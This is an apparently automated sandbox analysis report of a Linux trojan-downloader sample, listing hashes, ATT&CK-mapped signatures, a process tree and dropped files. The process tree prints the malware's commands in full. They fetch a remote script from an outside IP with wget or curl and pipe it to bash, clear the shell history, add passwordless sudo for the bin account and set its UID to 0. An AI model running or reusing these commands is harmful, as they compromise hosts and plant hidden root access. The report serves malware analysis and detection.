Analysis
- max time kernel
0s - max time network
128s - platform
ubuntu-22.04_amd64 - resource
ubuntu2204-amd64-20240611-en - resource tags
arch:amd64arch:i386image:ubuntu2204-amd64-20240611-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system - submitted
23/09/2024, 22:37
Static task
static1
Behavioral task
behavioral1
Sample
SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf
Resource
ubuntu2204-amd64-20240611-en
7 signatures
150 seconds
General
- Target SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf
- Size 11KB
- Sample240923-2js8asvbnb
- SHA256 a817e69bd18957643b2837e70fdfb5f5afb0cd0ac65cf3090bfdeed3d65f62a5
- MD5 ac07313a536a8488aa1d8262f5abe8e6
- SHA1 81ab7d88b0eec05764414330819527b5dc32dd48
- SHA512 8749850e943ee7c1eb39e91e0090f2cd68cfe0dd21249bad04906dcbbfb810252e7abe9969eb38ac6af099fc3d3a9e3fae8e3852ac68d53355c35b3a539827da
- SSDEEP 192:GeOF/3lomMdWvBMZdDoItJC9SeX/WauvSi:QF/a8JifL8SeXe
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- Modifies password files for system users/ groups 1 TTPs 10 IoCs
Modifies files storing password hashes of existing users/ groups, likely to grant additional privileges.
description ioc Process File opened for modification /etc/gshadow groupadd File opened for modification /etc/group usermod File opened for modification /etc/shadow usermod File opened for modification /etc/passwd usermod File opened for modification /etc/shadow usermod File opened for modification /etc/shadow usermod File opened for modification /etc/gshadow usermod File opened for modification /etc/passwd usermod File opened for modification /etc/group groupadd File opened for modification /etc/passwd usermod - Modifies sudoers policy 1 IoCs
Adds/ Modifies rule files for sudoers policy, likely to grant additional privileges.
description ioc Process File opened for modification /etc/sudoers tee - OS Credential Dumping 1 TTPs 11 IoCs
Adversaries may attempt to dump credentials to use it in password cracking.
description ioc Process File opened for reading /etc/shadow sudo File opened for reading /etc/shadow sudo File opened for reading /etc/shadow sudo File opened for reading /etc/shadow usermod File opened for reading /etc/shadow sudo File opened for reading /etc/shadow usermod File opened for reading /etc/shadow usermod File opened for reading /etc/shadow usermod File opened for reading /etc/shadow sudo File opened for reading /etc/shadow sudo File opened for reading /etc/shadow sudo - Abuse Elevation Control Mechanism: Sudo and Sudo Caching 1 TTPs 10 IoCs
Abuse sudo or cached sudo credentials to execute code.
pid Process 1593 sudo 1609 sudo 1610 tee 1612 sudo 1620 sudo 1585 sudo 1601 sudo 1602 groupadd 1608 sudo 1613 usermod - Adds a system user to a privileged group 1 TTPs 2 IoCs
Adds a system user to the root or sudoers group to elevate privileges.
pid Process 1613 usermod 1621 usermod - Write file to user bin folder 1 IoCs
description ioc Process File opened for modification /usr/sbin/bash cp -
description ioc Process File opened for reading /proc/self/stat sudo File opened for reading /proc/self/stat sudo File opened for reading /proc/filesystems id File opened for reading /proc/sys/kernel/random/boot_id groupadd File opened for reading /proc/filesystems usermod File opened for reading /proc/sys/kernel/ngroups_max usermod File opened for reading /proc/sys/kernel/ngroups_max sudo File opened for reading /proc/1/limits sudo File opened for reading /proc/1/limits sudo File opened for reading /proc/filesystems sudo File opened for reading /proc/filesystems mv File opened for reading /proc/filesystems cp File opened for reading /proc/sys/kernel/ngroups_max sudo File opened for reading /proc/1/limits sudo File opened for reading /proc/filesystems sudo File opened for reading /proc/self/stat sudo File opened for reading /proc/sys/kernel/ngroups_max sudo File opened for reading /proc/filesystems sudo File opened for reading /proc/sys/kernel/ngroups_max sudo File opened for reading /proc/filesystems usermod File opened for reading /proc/sys/kernel/ngroups_max usermod File opened for reading /proc/filesystems sudo File opened for reading /proc/sys/kernel/ngroups_max sudo File opened for reading /proc/self/stat sudo File opened for reading /proc/self/stat sudo File opened for reading /proc/1/limits sudo File opened for reading /proc/filesystems groupadd File opened for reading /proc/sys/kernel/ngroups_max sudo File opened for reading /proc/self/stat sudo File opened for reading /proc/1/limits sudo File opened for reading /proc/filesystems usermod File opened for reading /proc/sys/kernel/ngroups_max usermod File opened for reading /proc/filesystems sudo File opened for reading /proc/filesystems sudo File opened for reading /proc/sys/kernel/ngroups_max sudo File opened for reading /proc/sys/kernel/ngroups_max usermod File opened for reading /proc/filesystems sudo File opened for reading /proc/filesystems usermod File opened for reading /proc/filesystems sed File opened for reading /proc/self/stat sudo File opened for reading /proc/1/limits sudo File opened for reading /proc/filesystems mv File opened for reading /proc/1/limits sudo
Processes
-
/tmp/SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf/tmp/SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf1⤵PID:1572
-
/bin/bash/tmp/SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf -c "exec '/tmp/SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf' \"\$@\"" /tmp/SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf1⤵PID:1572
-
/tmp/SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf/tmp/SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf1⤵PID:1572
-
/bin/bash/tmp/SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf -c " #!/bin/bash r=`wget -qO - 66.70.242.174/eugen/start` if [ \$? -ne 0 ] then echo \" \" echo -e \" \\033[31mError...\\e[0m\\n\" else if which wget >/dev/null ; then wget -qO - 66.70.242.174/eugen/start|bash -s \$1 elif which curl >/dev/null ; then curl -s -L 66.70.242.174/eugen/start|bash -s \$1 else echo \" \" echo -e \" \\033[31mCannot download, neither wget nor curl is available.\\e[0m\\n\" fi fi history -c rm -- \$0 " /tmp/SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf1⤵PID:1572
-
/usr/bin/wgetwget -qO - 66.70.242.174/eugen/start2⤵PID:1573
-
-
/usr/bin/whichwhich wget2⤵PID:1577
-
-
/usr/bin/bashbash -s2⤵PID:1579
-
/usr/bin/idid -u3⤵
- Reads runtime system information
PID:1580
-
-
/usr/bin/opensslopenssl passwd -crypt -noverify3⤵PID:1581
-
-
/usr/bin/mvmv /usr/sbin/nologin /usr/sbin/login3⤵
- Reads runtime system information
PID:1582
-
-
/usr/bin/cpcp /bin/bash /usr/sbin3⤵
- Write file to user bin folder
- Reads runtime system information
PID:1583
-
-
/usr/bin/mvmv /usr/sbin/bash /usr/sbin/nologin3⤵
- Reads runtime system information
PID:1584
-
-
/usr/bin/sudosudo usermod --password f8wiibcVbcPkc daemon3⤵
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:1585 -
/usr/sbin/usermodusermod --password f8wiibcVbcPkc daemon4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
PID:1586 -
/usr/sbin/nscdnscd -i passwd5⤵PID:1587
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1588
-
-
/usr/sbin/sss_cachesss_cache -UG5⤵PID:1589
-
-
/usr/sbin/nscdnscd -i passwd5⤵PID:1590
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1591
-
-
/usr/sbin/sss_cachesss_cache -UG5⤵PID:1592
-
-
-
-
/usr/bin/sudosudo usermod --password bin3⤵
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:1593 -
/usr/sbin/usermodusermod --password bin4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Reads runtime system information
PID:1594 -
/usr/sbin/nscdnscd -i passwd5⤵PID:1595
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1596
-
-
/usr/sbin/sss_cachesss_cache -UG5⤵PID:1597
-
-
/usr/sbin/nscdnscd -i passwd5⤵PID:1598
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1599
-
-
/usr/sbin/sss_cachesss_cache -UG5⤵PID:1600
-
-
-
-
/usr/bin/sudosudo groupadd sudoers3⤵
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:1601 -
/usr/sbin/groupaddgroupadd sudoers4⤵
- Modifies password files for system users/ groups
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:1602 -
/usr/sbin/nscdnscd -i passwd5⤵PID:1603
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1604
-
-
/usr/sbin/sss_cachesss_cache -UG5⤵PID:1605
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1606
-
-
/usr/sbin/sss_cachesss_cache -G5⤵PID:1607
-
-
-
-
/usr/bin/sudosudo tee -a /etc/sudoers3⤵
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:1609 -
/usr/bin/teetee -a /etc/sudoers4⤵
- Modifies sudoers policy
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
PID:1610
-
-
-
/usr/bin/sudosudo echo "bin ALL=(ALL) NOPASSWD: ALL"3⤵
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:1608 -
/usr/bin/echoecho "bin ALL=(ALL) NOPASSWD: ALL"4⤵PID:1611
-
-
-
/usr/bin/sudosudo usermod -aG sudoers bin3⤵
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:1612 -
/usr/sbin/usermodusermod -aG sudoers bin4⤵
- Modifies password files for system users/ groups
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Adds a system user to a privileged group
- Reads runtime system information
PID:1613 -
/usr/sbin/nscdnscd -i passwd5⤵PID:1614
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1615
-
-
/usr/sbin/sss_cachesss_cache -UG5⤵PID:1616
-
-
/usr/sbin/nscdnscd -i passwd5⤵PID:1617
-
-
/usr/sbin/nscdnscd -i group5⤵PID:1618
-
-
/usr/sbin/sss_cachesss_cache -UG5⤵PID:1619
-
-
-
-
/usr/bin/sudosudo usermod -u 0 bin3⤵
- OS Credential Dumping
- Abuse Elevation Control Mechanism: Sudo and Sudo Caching
- Reads runtime system information
PID:1620 -
/usr/sbin/usermodusermod -u 0 bin4⤵
- OS Credential Dumping
- Adds a system user to a privileged group
- Reads runtime system information
PID:1621
-
-
-
/usr/bin/sedsed -i "/daemon:/s/daemon:x:[0-9]\\+:[0-9]\\+/daemon:0:0/" /etc/passwd3⤵
- Reads runtime system information
PID:1622
-
-
-
/usr/bin/wgetwget -qO - 66.70.242.174/eugen/start2⤵PID:1578
-
-
/usr/bin/rmrm -- /tmp/SecuriteInfo.com.LINUX.Trojan-Downloader.Agent.5683.24860.elf1⤵PID:1572
Network
MITRE ATT&CK Enterprise v15
Defense Evasion
Abuse Elevation Control Mechanism
2Sudo and Sudo Caching
2Modify Authentication Process
1Pluggable Authentication Modules
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/group+
- Size 1021B
- SHA256 244a8b30ac2a48229617248873933c48680af97a956d4654eeff34fd54b5ea9d
- MD5 d94bba7902283dfe8412c626a8f7556a
- SHA1 6e9601fc6ab8a66148a299886e79d05a728d9c86
- SHA512 fc589b408884fbc8cbc2308ee5a38d240622b2d2af8706225672ad13aef18ebd78dcc5e6c138a764bdd2507ceb511204ea99d95c10d1747f6fd6dd40c184e2b6
- MD5 SHA1 SHA512
- Path /etc/group+
- Size 1018B
- SHA256 3167955f2bad55cfcbb7fa99eec43a166d4b5a4ba1c50e0a5e2cd1c8ffa54011
- MD5 135f3006e5760b92a5bac1a33b3253ff
- SHA1 93e13f7aaf621c266dda5148a609f73f2c2fadf0
- SHA512 957c6c254e5c1b55a74446902e06cf0c33505576156d83ec684c9dab6039ba7ddd5ddbab29968445aef80f82199004a2f348b02b76c97210e2988554c77c0785
- MD5 SHA1 SHA512
- Path /etc/gshadow+
- Size 842B
- SHA256 c107af404ccbc50673e0e953400b1cc45ad5c55ff1d51a098085d732a3129ddc
- MD5 60af9d60f3493edc4deed68851dfd559
- SHA1 62b1cc37b80b80eee4651d4d68ea66dc2dea7085
- SHA512 d219f267816f9c5c2d06e636bb9f753ff9d1ec64111edb12d03835551c8cda717544dffca7fd1ca4dc207844aea36d17a05b1e54a93e911d06c0fbfba7090de1
- MD5 SHA1 SHA512
- Path /etc/gshadow+
- Size 845B
- SHA256 2a96883e67fee0bdae528820fe85679bef9a6918199e1b30b895b0ad580ccd14
- MD5 332a1cf373bf8f567dd82793d654fc25
- SHA1 7fcfa67c1055225527de4664b5be84be3138c970
- SHA512 d14305c07a755685220f188704152efe08c34d395fa497530df56dd4f64e691067e22a986fe0fbaa24722e1dfdc6f0d37c2ce8cfa6ba1631271831278ba43373
- MD5 SHA1 SHA512
- Path /etc/passwd+
- Size 2KB
- SHA256 eab5884c5bda06a680f52dc9f6f89d55e34288ad16e7eea3450b4a761e45e200
- MD5 a457803380f9fc302a9a520f258ebf19
- SHA1 264a387ce526d9ba3d0a98a4beb91d12a9618979
- SHA512 8a715be71963b84fac3099a751462b7850896368250fd318fe6112d2fc0816ba356f03e2de47860a1013bffa1b784b116718985a8e4fc173a795b57ea0cb037f
- MD5 SHA1 SHA512
- Path /etc/sed0G6lrV
- Size 2KB
- SHA256 478da173b3ec0ead5d357f941ea386dd750a9ad134f11eea31762d79f74b6249
- MD5 b47355755f67ed87441053b334d051dd
- SHA1 246f01ba8889eb8e34ad8247b1b0163ab4874e7e
- SHA512 5b06785a739df8c9609a5dd8871cec1931cd2859f6f1ac3c749cb4ef903e57e2b8a8ff6b0b66e0627d0ef0ec0ac9e7431db47f721004c2bdb469a25575ea76f0
- MD5 SHA1 SHA512
- Path /etc/shadow+
- Size 1KB
- SHA256 92413ec42e444adbc881019cbb574fe623b142ac024a577d80d1ed8d7932f958
- MD5 62a8bfe2de6b56810ae796214cd53b6b
- SHA1 f77428e23c18fbcc9f7469e724923f8e3f07227a
- SHA512 864949507a75dbecf9a8277e2bee39aacd7436cf71971140d5488854efc4679a46af6235bd12b4f22fcdb0c37ab647d755ea2dcaf60c4861ce5aaf9b5c58a43a
- MD5 SHA1 SHA512
- Path /etc/shadow+
- Size 1KB
- SHA256 4599ee585cfa00f02fe8441e9e810755f9d7edc85e8f2b8905ab6d380db3835b
- MD5 d20e2a932cf934d5d41f7132ff96277d
- SHA1 b7f2ce4eb131d74a664bd25c544043ede39d0e29
- SHA512 e3b70c276ec02ce64cb868228235ccd29f07fbd9ba43ab13d0c55f296cc3bffcef1868fb66d0d78db7cec5587f076019f2af91b6b81d6646c0b1a035940f7999
- MD5 SHA1 SHA512
- Path /usr/sbin/bash
- Size 1.3MB
- SHA256 59474588a312b6b6e73e5a42a59bf71e62b55416b6c9d5e4a6e1c630c2a9ecd4
- MD5 d7bc3ce3b6b7ac53ba2918a97d806418
- SHA1 fd957dec0fcd03e32ada63fd3953599eaf53e679
- SHA512 d6fb97f510d3579434387ae1dca373cc4854ba22811c202ea0d2e0e1d083caf126950a3a9dff4cb53220b2591b6bada2955204946101a201da9e971ef1aed8fe
- SSDEEP 24576:pFY+nrLAM/AAer6zPil6I3QaPZHqLAnzFSBEQZFcI:I+nrL9/Al6z46I3Qa5qLwzoEQZFc
- MD5 SHA1 SHA512 SSDEEP